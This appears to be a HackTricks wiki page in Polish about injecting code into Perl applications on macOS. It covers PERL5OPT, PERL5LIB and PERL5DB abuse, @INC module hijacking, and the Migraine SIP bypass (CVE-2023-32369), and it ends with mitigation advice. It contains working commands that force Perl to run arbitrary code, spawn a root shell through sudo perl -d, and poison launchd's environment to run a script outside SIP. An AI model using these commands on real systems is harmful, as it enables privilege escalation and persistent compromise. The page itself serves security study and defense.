macOS Perl Applications Injection

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Poprzez zmienną środowiskową PERL5OPT & PERL5LIB

Używając zmiennej środowiskowej PERL5OPT, możliwe jest zmuszenie Perl do wykonywania dowolnych poleceń, gdy interpreter się uruchamia (nawet przed zanalizowaniem pierwszej linii docelowego skryptu). Na przykład, stwórz ten skrypt:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Teraz wyeksportuj zmienną środowiskową i uruchom skrypt perl:

bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Inną opcją jest stworzenie modułu Perl (np. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

A następnie użyj zmiennych środowiskowych, aby moduł był lokalizowany i ładowany automatycznie:

bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl

Inne interesujące zmienne środowiskowe

  • PERL5DB – gdy interpreter jest uruchamiany z flagą -d (debugger), zawartość PERL5DB jest wykonywana jako kod Perl w kontekście debuggera. Jeśli możesz wpływać zarówno na środowisko jak i flagi wiersza poleceń uprzywilejowanego procesu Perl, możesz zrobić coś takiego:
bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl   # uruchomi powłokę przed wykonaniem skryptu
  • PERL5SHELL – w systemie Windows ta zmienna kontroluje, który plik wykonywalny powłoki Perl użyje, gdy będzie musiał uruchomić powłokę. Wspomniano o niej tutaj tylko dla pełności, ponieważ nie jest istotna w macOS.

Chociaż PERL5DB wymaga przełącznika -d, powszechnie można znaleźć skrypty konserwacyjne lub instalacyjne, które są wykonywane jako root z włączoną tą flagą dla szczegółowego rozwiązywania problemów, co czyni tę zmienną ważnym wektorem eskalacji.

Poprzez zależności (nadużycie @INC)

Możliwe jest wylistowanie ścieżki dołączania, którą Perl będzie przeszukiwał (@INC), uruchamiając:

bash
perl -e 'print join("\n", @INC)'

Typowy wynik na macOS 13/14 wygląda następująco:

bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Niektóre z zwróconych folderów nawet nie istnieją, jednak /Library/Perl/5.30 istnieje, nie jest chroniony przez SIP i znajduje się przed folderami chronionymi przez SIP. Dlatego, jeśli możesz pisać jako root, możesz umieścić złośliwy moduł (np. File/Basename.pm), który będzie preferencyjnie ładowany przez każdy skrypt z uprawnieniami importujący ten moduł.

warning

Nadal potrzebujesz root do pisania w /Library/Perl, a macOS wyświetli monit TCC prosząc o Pełny dostęp do dysku dla procesu wykonującego operację zapisu.

Na przykład, jeśli skrypt importuje use File::Basename;, możliwe byłoby stworzenie /Library/Perl/5.30/File/Basename.pm zawierającego kod kontrolowany przez atakującego.

Ominięcie SIP za pomocą Asystenta Migracji (CVE-2023-32369 “Migrena”)

W maju 2023 roku Microsoft ujawnił CVE-2023-32369, nazywany Migreną, technikę poeksploatacyjną, która pozwala atakującemu root całkowicie ominąć Ochronę Integralności Systemu (SIP). Wrażliwym komponentem jest systemmigrationd, demon z uprawnieniem com.apple.rootless.install.heritable. Każdy proces potomny uruchomiony przez ten demon dziedziczy to uprawnienie i dlatego działa poza ograniczeniami SIP.

Wśród dzieci zidentyfikowanych przez badaczy znajduje się interpreter podpisany przez Apple:

/usr/bin/perl /usr/libexec/migrateLocalKDC …

Ponieważ Perl respektuje PERL5OPT (a Bash respektuje BASH_ENV), zanieczyszczenie środowiska demona jest wystarczające, aby uzyskać dowolne wykonanie w kontekście bez SIP:

bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'

# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app"   # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility

Kiedy migrateLocalKDC jest uruchamiane, /usr/bin/perl startuje z złośliwym PERL5OPT i wykonuje /private/tmp/migraine.sh zanim SIP zostanie ponownie włączony. Z tego skryptu można na przykład skopiować ładunek do /System/Library/LaunchDaemons lub przypisać rozszerzony atrybut com.apple.rootless, aby uczynić plik nieusuwalnym.

Apple naprawiło problem w macOS Ventura 13.4, Monterey 12.6.6 i Big Sur 11.7.7, ale starsze lub niezałatane systemy pozostają podatne na ataki.

Rekomendacje dotyczące zabezpieczeń

  1. Wyczyść niebezpieczne zmienne – uprzywilejowane launchdaemons lub zadania cron powinny startować w czystym środowisku (launchctl unsetenv PERL5OPT, env -i, itd.).
  2. Unikaj uruchamiania interpreterów jako root, chyba że jest to ściśle konieczne. Używaj skompilowanych binariów lub szybko zrzucaj uprawnienia.
  3. Dostarczaj skrypty z -T (tryb zanieczyszczenia), aby Perl ignorował PERL5OPT i inne niebezpieczne przełączniki, gdy sprawdzanie zanieczyszczenia jest włączone.
  4. Utrzymuj macOS w aktualności – “Migraine” jest w pełni załatane w bieżących wydaniach.

Odnośniki

  • Microsoft Security Blog – “Nowa podatność macOS, Migraine, może obejść Ochronę Integralności Systemu” (CVE-2023-32369), 30 maja 2023.
  • Hackyboiz – “Badanie obejścia SIP w macOS (PERL5OPT & BASH_ENV)”, maj 2025.

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks